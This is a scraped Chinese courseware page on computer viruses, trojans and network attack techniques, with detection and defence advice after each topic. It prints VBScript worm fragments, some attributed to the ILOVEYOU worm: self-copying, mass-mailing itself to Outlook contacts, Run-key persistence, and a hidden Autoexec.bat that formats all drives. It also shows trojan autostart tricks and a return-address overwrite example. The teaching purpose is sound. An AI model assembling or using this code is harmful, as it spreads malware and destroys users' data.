计算机信息安全技术 课件 第4、5章 计算机病毒、网络攻击与防范_第1页
计算机信息安全技术 课件 第4、5章 计算机病毒、网络攻击与防范_第2页
计算机信息安全技术 课件 第4、5章 计算机病毒、网络攻击与防范_第3页
计算机信息安全技术 课件 第4、5章 计算机病毒、网络攻击与防范_第4页
计算机信息安全技术 课件 第4、5章 计算机病毒、网络攻击与防范_第5页
已阅读5页,还剩87页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

第四章计算机病毒4.1概述4.2计算机病毒的特征及分类 4.3常见的病毒类型4.4计算机病毒制作与反病毒技术

4.1概述带有恶意目的的破坏程序,统称为恶意代码。计算机病毒、木马、间谍软件、恶意广告、流氓软件、逻辑炸弹、后门、僵尸网络、恶意脚本等软件或代码片段。计算机病毒属于恶意代码的一种;在广义上,计算机病毒就是各种恶意代码的统称。4.1概述计算机病毒最早由美国南加州大学的FredCohen提出。在1983年编写,小程序,自我复制,并能在计算机中传播。无害,潜伏,传染。FredCohen博士对计算机病毒的定义:

“病毒是一种靠修改其他程序来插入或进行自身拷贝,从而感染其他程序的一段程序。”4.1概述《中华人民共和国计算机信息系统安全保护条例》中计算机病毒的定义:“编制或在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。计算机病毒是一个程序,或一段可执行代码。4.1概述

计算机病毒的发展1949年冯·诺伊曼,在论文《TheoryandOrganizationofComplicatedAutomata》里给出了计算机病毒的雏形。1983年第一个病毒产生(FredCohen)1986年Pakistan病毒(Basit和Amjad)1988年蠕虫病毒(Morris)1989年引导型病毒1990年,复合病毒,可以感染Com和EXE文件。1995年,病毒生成器产生,幽灵病毒肆虐。1997年宏病毒出现。1998年CIH病毒(Windows病毒)。2004年蠕虫病毒泛滥。2006年熊猫烧香病毒。2011年“僵尸网络”病毒。2013年勒索病毒出现。2017年基于“永恒之蓝”改造的勒索病毒扩散。4.1概述

4.1概述计算机病毒的危害(1)占用磁盘空间,直接破坏数据信息(2)抢占系统资源,干扰系统的正常运行(3)计算机病毒错误与不可预见的危害(4)给用户造成严重的心理方面的影响压力4.2计算机病毒的特征及分类计算机病毒特征

传染性破坏性隐蔽性寄生性可触发性计算机病毒的基本特征按病毒按寄生方式分类网络病毒文件病毒引导型病毒混合型病毒按传播媒介分类单机病毒网络病毒按计算机病毒的链接方式分类源码型病毒嵌入型病毒外壳型病毒译码型病毒操作系统型病毒计算机病毒的分类计算机病毒的分类按病毒攻击的操作系统分类Dos病毒Windows病毒其他操作系统病毒按病毒的攻击类型分类攻击微型计算机的病毒攻击小型机的病毒攻击工作站的病毒4.3常见的计算机病毒引导型病毒专门感染磁盘引导扇区或硬盘主引导区。按其寄生对象可分为:MBR(主引导区)病毒BR(引导区)病毒。引导型病毒一般通过修改int13H中断向量将病毒传染给U盘等存储介质,而新的int13H中断向量地址指向内存高端的病毒程序。引导型病毒的感染对象相对固定。文件型病毒通过文件系统进行感染的病毒统称文件型病毒。EXE文件病毒。将自身代码添加在宿主程序中,通过修改指令指针的方式,指向病毒起始位置来获取控制权。PE病毒当前产生重大影响的病毒类型,如“CIH”、“尼姆达”、“求职信”、“中国黑客”等。这类病毒主要感染Windows系统中的PE文件格式文件(如EXE,SCR,DLL等)。文件型病毒

蠕虫通过网络传播的恶意代码。与文件型病毒和引导性病毒不同,蠕虫不利用文件寄生,也不感染引导区,蠕虫的感染目标是网络中的所有计算机。蠕虫与木马

蠕虫的主要特点:(1)主动攻击。蠕虫在本质上已变为黑客入侵的工具,从漏洞扫描到攻击系统,再到复制副本,整个过程全部由蠕虫自身主动完成。(2)传播方式多样。包括文件、电子邮件、Web服务器、网页和网络共享等。(3)制作技术不同于传统的病毒。许多蠕虫病毒是利用当前最新的编程语言和编程技术来实现的,容易修改以产生新的变种。(4)行踪隐蔽。蠕虫在传播过程中不需要像传统病毒那样要用户的辅助工作,所以在蠕虫传播的过程中,用户很难察觉。(5)反复性。如果没有修复系统漏洞,重新接入到网络的计算机仍然有被重新感染的危险。蠕虫与木马木马一种典型的黑客程序,它是一种基于远程控制的黑客工具。通过木马,攻击者可以远程窃取用户计算机上的所有文件、查看系统消息、窃取用户口令、篡改文件和数据、接收执行非授权者的指令、删除文件甚至格式化硬盘。蠕虫与木马木马实际上是一个C/S结构的程序:服务端程序+客户端程序。以冰河程序为例:被控制端可视为一台服务器运行G_Server.exe控制端是一台客户机安装了G_Client.exe控制程序。客户端向服务端的端口提出连接请求,服务端的相应程序就会自动运行,响应客户端的请求。蠕虫与木马木马的传播方式:(1)以邮件附件的形式传播。控制端将木马程序伪装后,捆绑在小游戏上,或者将木马程序的图标直接修改为html,txt,jpg等文件的图标,然后将该木马程序添加到附件中,发送给收件人。(2)通过聊天软件的文件发送功能。在聊天对话的过程中,利用文件传送功能发送伪装后的木马程序给对方。(3)通过软件下载网站传播。有些网站可能会被攻击者利用,将木马捆绑在软件上,用户下载软件后如果没有进行安全检查就进行安装,木马就会驻留内存。(4)通过病毒和蠕虫传播。某些病毒和蠕虫本身就具备木马的功能,或可能成为木马的宿主而传播木马。(5)通过带木马的磁盘/光盘传播。蠕虫与木马宏病毒宏病毒是用宏脚本编写的程序。宏病毒利用一些数据处理系统内置宏命令的特性,把特定的宏命令代码附加在指定的文件上,通过文件的打开或关闭来获取系统的控制权,同时实现宏命令在不同文件之间的共享和传递,以实现病毒传染。其他病毒介绍

网页病毒网页病毒使用脚本语言编写的恶意代码,利用浏览器的漏洞来实现病毒植入。当用户登录某些含有网页病毒的网站时,网页病毒便被悄悄激活,这些病毒一旦激活,可以利用系统的一些资源进行破坏。其他病毒介绍其他病毒介绍僵尸网络是一种被非法安装在僵尸主机中,执行远程控制与任务分发等任务的恶意代码。由传统的网络蠕虫和木马发展而来的一种新型攻击、感染形式。僵尸网络实现了控制逻辑与攻击任务的分离,僵尸主机中的僵尸程序负责控制逻辑,而攻击任务由控制者根据需求来动态分发。其他病毒介绍Rootkit是一种特殊类型的恶意软件,主要用于隐藏自己及其他软件。Rootkit通常是一个由多种程序组成的工具包,其中包含各种辅助工具。4.4计算机病毒制作与反病毒技术4.4.1计算机病毒的一般构成4.4.2计算机病毒制作技术4.4.3病毒的检测与查杀计算机病毒的一般构成1.安装模块病毒程序通过自身的程序实现自启动并安装到系统中,不同类型病毒程序用不同安装方法。2.传染模块(1)传染控制部分。病毒一般都有一个控制条件,一旦满足这个条件就开始感染。例如,病毒先判断某个文件是否是.EXE文件,如果是再进行传染,否则再寻找下一个文件;(2)传染判断部分。每个病毒程序都有一个标记,在传染时将判断这个标记,如果磁盘或者文件已经被传染就不再传染,否则就要传染了;(3)传染操作部分。在满足传染条件时进行传染操作。

3.破坏模块计算机病毒的最终目的是进行破坏,其破坏的基本手段就是删除文件或数据。破坏模块包括两部分:一是激发控制,另一个就是破坏操作。基本模块计算机病毒制作技术计算机病毒制作技术采用自加密技术采用变形技术采用特殊的隐形技术对抗计算机病毒防范系统反跟踪技术病毒的检测与查杀

病毒的检测(1)特征代码法(2)校验和法(3)行为监测法(4)软件模拟法病毒的检测与查杀1.特征代码法从病毒程序中抽取一段独一无二、足以代表该病毒特征的二进制程序代码,并将这段代码作为判断该病毒的依据,这就是所谓的病毒特征代码。必须不断更新病毒资料库,否则检测工具便会过期老化。特征代码法的优点检测准确快速可识别病毒的名称缺点不能检测未知病毒、变种病毒和隐蔽性病毒,需定期更新病毒资料库,具有滞后性。病毒的检测与查杀2.校验和法校验和法是根据文件的内容,计算其校验和。检测时将文件校验和与保存的校验和做比较,若不同则判断为被感染病毒。校验和法可以采用三种方式:

(1)在检测病毒工具中加入校验和法。(2)在应用程序中加入校验和自我检查功能。

(3)将校验和检查程序常驻内存。病毒的检测与查杀3.行为监测法行为监测法是将病毒中比较特殊的共同行为归纳起来。当程序运行时监视其行为,发现类似病毒行为,立即报警。4.软件模拟法用程序代码虚拟一个CPU、各个寄存器、硬件端口也虚拟出来,调入被调的“样本”,通过内存和寄存器以及端口的变化来了解程序的执行情况。将病毒放到虚拟机中执行,则病毒的传染和破坏等动作会被反映出来。蠕虫病毒分析

蠕虫病毒是目前对计算机威胁最大的网络病毒,蠕虫病毒的特征:1.蠕虫病毒的自我复制能力用VB脚本语言编写实现自我复制程序。

SetobjFs=CreateObject("Scripting.FileSystemObject")‘创建一个文件系统对象

Setfso=objFs.CreateTextFile("c:\virus.txt",1)‘通过文件系统对象的方法创建TXT文件。如果把这两行保存成为.vbs的VB脚本文件,单击鼠标就会在C盘中创建一个TXT文件了。

如果把上述第二行改为:

objFs.GetFile(WScript.ScriptFullName).Copy(“C:\virus.vbs”)

就可以实现自身复制到C盘virus.vbs文件上。病毒的检测与查杀2.蠕虫病毒的传播性SetobjOA=Wscript.CreateObject(“Outlook.Application”)‘创建一个OUTLOOK应用的对象SetobjMapi=objOA.GetNameSpace(“MAPI”)‘取得MAPI名字空间

Fori=1toobjMapi.AddressLists.Count

‘遍历地址簿

SetobjAddList=objMapi.AddressLists(i)

Forj=1ToobjAddList.AddressEntries.CountSetobjMail=objOA.CreateItem(0)

objMail.Recipients.Add(objAddList.AddressEntries(j))‘取得收件人邮件地址objMail.Subject=“你好!”

‘设置邮件主题

objMail.Body=“这次给你的附件,是我的新文档!”

‘设置信件内容objMail.Attachments.Add(“c:\virus.vbs”)‘把自己作为附件扩散出去

objMail.Send‘发送邮件

NextNextSetobjMapi=Nothing‘清空objMapi变量,释放资源

SetobjOA=Nothing‘清空objOA变量病毒的检测与查杀3.蠕虫病毒的潜伏性

以下是爱虫病毒中的部分代码:OnErrorResumeNext‘容错语句,避免程序崩溃dimwscr,rrsetwscr=CreateObject("WScript.Shell")‘激活

WScript.Shell对象rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WindowsScriptingHost\Settings\Timeout")‘读入注册表中的超时键值if(rr>=1)

then‘超时设置wscr.RegWrite“HKEY_CURRENT_USER\Software\Microsoft\WindowsScriptingHost\Settings\Timeout”,0,“REG_DWORD”endif病毒的检测与查杀修改注册表,使得每次系统启动时自动执行脚本文件。regcreate“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32“,dirsystem&”\MSKernel32.vbs”regcreate“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL,“dirwin&”\Win32DLL.vbs”4.蠕虫病毒的触发性

x=time()

ifx=xx.xx.xxthen…………

endif病毒的检测与查杀5.蠕虫病毒的破坏性

subkillc()‘破坏硬盘的过程OnErrorResumeNext‘容错语句,避免程序崩溃dimfs,auto,disc,ds,ss,i,x,dirSetfs=CreateObject(“Scripting.FileSystemObject”)Setauto=fs.CreateTextFile(“c:\Autoexec.bat”,True)‘建立或修改自动批处理auto.WriteLine(“@echooff”)‘屏蔽掉删除的进程auto.WriteLine(“Smartdrv”)‘加载磁盘缓冲

Setdisc=fs.Drives‘得到磁盘驱动器的集合ForEachdsindiscIfds.DriveType=2Then‘如果磁盘驱动器是本地盘

ss=ss&ds.DriveLetter‘就将符号连在一起EndIfNext病毒的检测与查杀ss=LCase(StrReverse(Trim(ss)))‘得到符号串的反向小写

Fori=1toLen(ss)‘遍历每个磁盘驱动器x=Mid(ss,i,1)

‘读每个磁盘驱动器的符号auto.WriteLine(“format/autotest/q/u“&x&”:”)‘反向

(从Z:到A:)自动格式化磁盘驱动器nextauto.Close‘关闭批处理文件setdir=fs.GetFile(“c:\Autoexec.bat”)dir.attributes=dir.attributes+2‘将自动批处理文件改为隐藏病毒的检测与查杀应对蠕虫病毒的对策复制功能的控制禁止“FileSystemObject”的使用,可以有效控制VBS病毒的传播具体操作方法:用regsvr32scrrun.dll/u这条命令就可以禁止文件系统对象。破解病毒的破坏性。把本地的带有破坏性的程序改名字,比如把改成,那样病毒的编辑者就无法用调用该命令来实现这一功能。破解病毒的潜伏性及触发性功能模块关闭Wscript.exe的程序在后台运行在“开始”菜单的“运行”里输入“Wscript”,然后会弹出一个窗体。单击“经过以下数秒终止脚本”前面的复选框,使复选框前面打起钩,然后调整下方的时间设为最小值即可。这样可以破解一部分此类病毒的潜伏,消除潜伏性自然触发性就破解了。由于蠕虫病毒大多是用VBScript脚本语言编写的,而VBScript代码是通过WindowsScriptHost来解释执行的,因此将WindowsScriptHost删除/禁止,就再也不用担心这些用VBS和JS编写的病毒了!即删除、更名WScript.exe和JScript.exe病毒的检测与查杀病毒的检测与查杀木马的基本原理

木马本质上是一个网络客户/服务程序(Client/Server),一般由两部分组成:服务端程序,另一个是客户端程序。以冰河程序为例,在VB中,可以使用WinSock控件来编写网络客户服务程序,实现方法如下:服务端:

G_Server.LocalPort=7626(冰河的默认端口,可以改为别的值)

G_Server.Listen(等待连接)客户端:

G_Client.RemoteHost=ServerIP(设远端地址为服务器地址)

G_Client.RemotePort=7626(设远程端口为冰河的默认端口)

G_Client.Connect(调用Winsock控件的连接方法)其中,G_Server和G_Client均为Winsock控件。病毒的检测与查杀木马的启动方式黑客将木马程序捆绑在一些常用的软件上,将木马悄悄安装到计算机中。在Windows系统中,黑客实现程序自启动的方法很多,常见方法:1.修改系统配置文件通过修改系统配置文件System.ini、Win.ini来实现木马的自启动。Win.ini有两个数据项“load=”和“run=”,如果木马需要在系统启动后运行一个程序,只要在“load=”和“run=”后添加该程序的程序名即可2.修改注册表修改注册表是木马最常用的攻击和入侵手段:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run*的键。如果想让程序在系统启动的过程中启动,向该目录添加一个子项即可。病毒的检测与查杀3.通过文件关联启动通过.exe文件关联exefile,将注册表中HKEY_CLASSES_ROOT\exefile\shell\open\command的默认““%1”%*”改成“x:\xxx\bsy.exe”(木马程序的路径),让系统在执行.exe程序时就自动运行木马程序bsy.exe。通常修改的还有.txt文件关联txtfile,只要读取.txt文本文件就执行木马程序等。4.利用Autorun.inf文件自动运行功能在E盘根目录下新建一个Autorun.inf文件,用记事本打开它,输入如下内容:

[autorun]open=Notepad.exe

保存后重新启动,进入“我的电脑”,然后双击E盘盘符,记事本被打开了,而E盘却没有打开。5.利用对动态连接库(DLL)的调用黑客可以将木马程序捆绑到DLL上(如kernel32.dll),当用户使用API函数时,黑客就会先启动木马程序,然后再调用真正的函数完成API函数功能。病毒的检测与查杀木马的查杀1.查看注册表在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion和

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion下所有以“Run”开头的键值名有没有可疑的文件名。2.检查启动组

启动组对应的文件夹为:C:windows\startmenu\programs\startup,经常检查启动组中是否有异常的文件。

3.检查系统配置文件检查Win.ini、System.ini、Autoexec.bat、Winstart.bat等系统配置文件。现在修改System.ini中Shell值的情况要多一些,如果在System.ini中看到:Shell=Explorer.exewindows.exe时,这个windows.exe有可能就是木马程序。病毒的检测与查杀4.查看端口与进程使用Windows本身自带的netstat-an命令查看与本机建立连接的IP以及本机侦听的端口。也可以使用ActivePorts工具监视计算机所有打开的TCP/IP/UDP端口。如果发现有可疑的端口开放,可以先记下这个端口号,然后进入“任务管理器”,就可看到系统正在运行的全部进程。

5.查看目前运行的服务

服务也是很多木马用来保持在系统中处于运行状态的方法之一。使用“netstart”命令可查看系统中哪些服务在开启,如果发现可疑的服务,可以停止并禁用它。

6.检查系统帐户

黑客也可能在计算机中潜伏一个账户来控制你的计算机。他们采用的方法就是激活一个系统中的很少使用的默认账户,然后把这个账户的权限提升为管理员权限,通过该账户控制你的计算机。病毒的检测与查杀病毒的预防与清除(1)安全地启动计算机系统(2)安全使用计算机系统(3)备份重要的数据(4)谨慎下载文件(5)留意计算机系统的异常(6)使用正版杀毒软件本章小结(1)掌握计算机病毒的定义、特征、病毒程序的构成;(2)了解病毒的传播途径、分类;(3)对常见的病毒有一定的了解;(4)掌握计算机病毒的一般制作技术;(5)了解蠕虫病毒实现方法;(6)掌握木马基本原理和查杀方式;(7)掌握计算机病毒与黑客的防范基本方法。第五章网络攻击与防范技术5.1网络攻击概述与分类5.2目标探测 5.3扫描的概念与原理5.4网络监听5.5缓冲区溢出攻击5.6注入式攻击5.7拒绝服务攻击5.8 欺骗攻击与防范5.1网络攻击概述与分类网络容易受到攻击的原因—网络软件不完善+协议本身存在安全缺陷。TCP/IP网络协议存在大量的安全漏洞。TCP/IP是冷战时期的产物,目标是要保证通达,保证传输的粗犷性。通过来回确认来保证数据的完整性,不确认则要重传。TCP/IP没有内在的控制机制来支持源地址的鉴别。黑客利用TCP/IP的漏洞,可以使用侦听的方式来截获数据,能对数据进行检查,推测TCP的系列号,修改传输路由,修改鉴别过程,插入黑客的数据流。莫里斯病毒就是利用这一点,给互联网造成巨大的危害。近十多年新增安全漏洞发布趋势数据来源:国家信息安全漏洞库CNNVD5.1网络攻击概述与分类网络攻击目的炫耀自己的技术;赚钱;窃取数据;报复;抗议或宣示。

5.1网络攻击概述与分类常用的攻击方法窃听欺骗拒绝服务数据驱动攻击网络攻击的一般流程5.2目标探测目标探测是防范黑客攻击行为的手段之一也是黑客进行攻击的第一步。5.2.1目标探测的内容1.外网信息。包括域名、管理员信息、网络地址范围、网络位置、网络地址分配机构信息、系统提供的各种服务和网络安全配置等。2.内网信息。包括内部网络协议、拓扑结构、系统体系结构和安全配置等。5.2.2目标探测的方法1.确定目标范围

Ping命令Whois查询

Whois查询就是查询域名和IP地址的注册信息。国际域名由设在美国的Internet信息管理中心(InterNIC)和它设在世界各地的认证注册商管理国内域名由中国互联网络信息中心(CNNIC)管理。2.分析目标网络信息使用专用的工具,如VisualRoute等。这些软件的主要功能:快速分析和辨别Internet连接的来源,标识某个IP地址的地理位置等。3.分析目标网络路由了解信息从一台计算机到达互联网另一端的另一台计算机传播路径,常见的检测工具为Tracert/TraceRoute。5.3扫描概念和原理计算机扫描就是对计算机系统或者其他网络设备进行与安全相关的检测,以找出安全隐患和可被黑客利用的漏洞。扫描技术分类主机扫描端口扫描漏洞扫描5.3.1主机扫描技术简单主机扫描技术(1)发送ICMPEchoRequest数据包到目标主机;(2)Ping扫描;(3)发送ICMPEchoRequest到广播地址或者目标网络地址。复杂主机扫描技术

(1)异常的IP包头;(2)IP头中设置无效的字段值;(3)错误的数据分片;(4)反向映射探测。

5.3.2端口扫描技术

1.TCPconnect扫描

最基本的TCP扫描,操作系统提供的connect()系统调用,用来与每一个目标计算机的端口进行连接。如果端口处于侦听状态,那么connect()就能成功。否则,该端口是不能用的,即没有提供服务。

优势:没有权限限制速度快缺陷:容易暴露2.TCPSYN扫描

3.TCPFIN扫描(关闭时)

4.TCPXmas扫描(关闭时)5.TCPNULL扫描(关闭时)

5.UDP扫描(关闭时)UDP扫描并不可靠。1)目标主机可以禁止任何UDP包通过;2)UDP本身不是可靠的传输协议,数据传输的完整性不能得到保证;3)系统在协议栈的实现上有差异,对一个关闭的UDP端口,可能不会返回任何信息,而只是简单的丢弃。6.FTP返回扫描

FTP代理扫描是用一个代理的FTP服务器来扫描TCP端口。

假设S是扫描机,T是扫描目标,F是一个支持代理选项的FTP服务器,能够跟S和T建立连接,FTP端口扫描步骤如下:

(1)

S与F建立一个FTP会话,使用PORT命令声明一个选择的端口p-T作为代理传输所需要的被动端口;(2)然后S使用一个LIST命令尝试启动一个到p-T的数据传输;

(3)如果端口p-T确实在监听,传输就会成功,返回码150和226被发送回给S。否则S会收到“425Canbuilddataconnection:Connectionrefused”

的应答;

(4)S持续使用PORT和LIST命令,直到对T上所有的选择端口扫描完毕为止。这种方法的优点是难以跟踪,能穿过防火墙。主要缺点是速度很慢,有的FTP服务器最终还是能得到一些线索,关闭代理功能。防止端口扫描防止端口扫描:(1)关闭闲置和有潜在危险的端口。(2)利用网络防火墙软件。5.3.3漏洞扫描漏洞扫描是对目标网络或者目标主机进行安全漏洞检测与分析,发现可能被攻击者利用的漏洞。通用漏洞扫描器构成:控制台模块扫描活动处理模块扫描引擎模块结果处理模块和漏洞库。Nmap、X-Scan、SuperScan、ShadowSecurityScanner、AppScan、Nessus5.4网络监听网络监听是提供给网络安全管理人员进行网络管理的工具,用来监视网络的状态、数据流动情况以及网络上传输的信息等,黑客也可以利用网络监听来截取主机口令等。5.4.1网络监听原理

以太网(Ethernet)协议的工作方式是将要发送的数据包发往连接在一起的所有主机,只有与数据包中目的地址一致的那台主机才能接收到信息包。 当主机工作在监听模式下时,无论数据包中的目标地址是什么,主机都将接收,这就是实现网络监听的基础。5.4.2网络监听检测与防范1.网络监听检测(1)反应时间

(2)观测DNS(3)ping模式进行监测(4)arp数据包进行监测2.网络监听的防范(1)采用加密手段进行信息传输也是一个很好的办法(2)以交换式集线器代替共享式集线器。交换式集线器代替共享式集线器,使单播包仅在两个节点之间传送,从而防止非法监听。(3)使用Kerberos。

5.5缓冲区溢出攻击5.5.1缓冲区溢出原理

缓冲区是内存中存放计算机正在处理数据的地方。当数据量超出缓冲区的长度时,多出来的数据就会破坏堆栈中的数据,导致应用程序或整个系统的崩溃等故障;攻击者在溢出数据中精心设计代码,当这些代码溢出到缓冲区以外时会被执行,能达到破坏计算机系统目的,即缓冲区溢出攻击。

缓冲区溢出

1.通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出。例:

#include<string.h>voidmain(intargc,char*argv[]){charbuffer[10];strcpy(buffer,argv[1]);}

执行该程序,输入字符串长度小于10时,程序正常运行,否则系统崩溃。2.通过向程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击目的。例如下面程序:#include<iostream.h>#include<string.h>voidfunction(inta){ charbuffer[5]; char*ret; ret=buffer+12; *ret+=8;}voidmain(){ intx; x=10; function(7); x=1; cout<<x<<endl;}程序的运行结果是?

程序的实际运行结果是10,而不是1。

上段程序的执行过程:依次为形式参数a、RET、EBP分配4字节的内存,为语句charbuffer[5]分配内存时,需要5字节的内存。对于32位存储器,内存的分配是以4个字节为单位来进行的,所以为buffer分配的内存一共需要8个字节。voidmain(){ intx; x=10; function(7); x=1; cout<<x<<endl;}为参数赋值返回地址压栈执行被调用函数调用结束后返回返回处

执行ret=buffer+12后,ret指向RET(buffer地址和RET地址相差12个字节)。

RET的值是函数function(7)的返回地址,即“x=1”的首地址,执行*ret+=8语句后就将RET的值加上了8个字节,而x=1这条语句占有8个字节。5.5.2缓冲区溢出攻击方法1.在程序的地址空间里安排适当的代码(1)植入法。(2)利用已经存在的代码。

2.控制程序转移到攻击代码

(1)激活记录。(2)函数指针。(3)长跳转缓冲区。5.5.3防范缓冲区溢出1.编写正确的代码编写安全代码是防止缓冲区溢出的最有效办法:

charstr[10]…while(gets(str)!=NULL)

{puts(str);memset(str,0,sizeof(str));}

由于没有严格规定输入到str中的字符长度,很容易产生缓冲区溢出漏洞。

正确的方式是使用fgets(chars,intsize,FILE*stream)。

charstr[10]…while(fgets(str,sizeof(str),stdin)!=NULL)

{puts(str);memset(str,0,sizeof(str));}2.及时安装漏洞补丁3.借助防火墙阻止缓冲区溢出。5.5.3防范

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论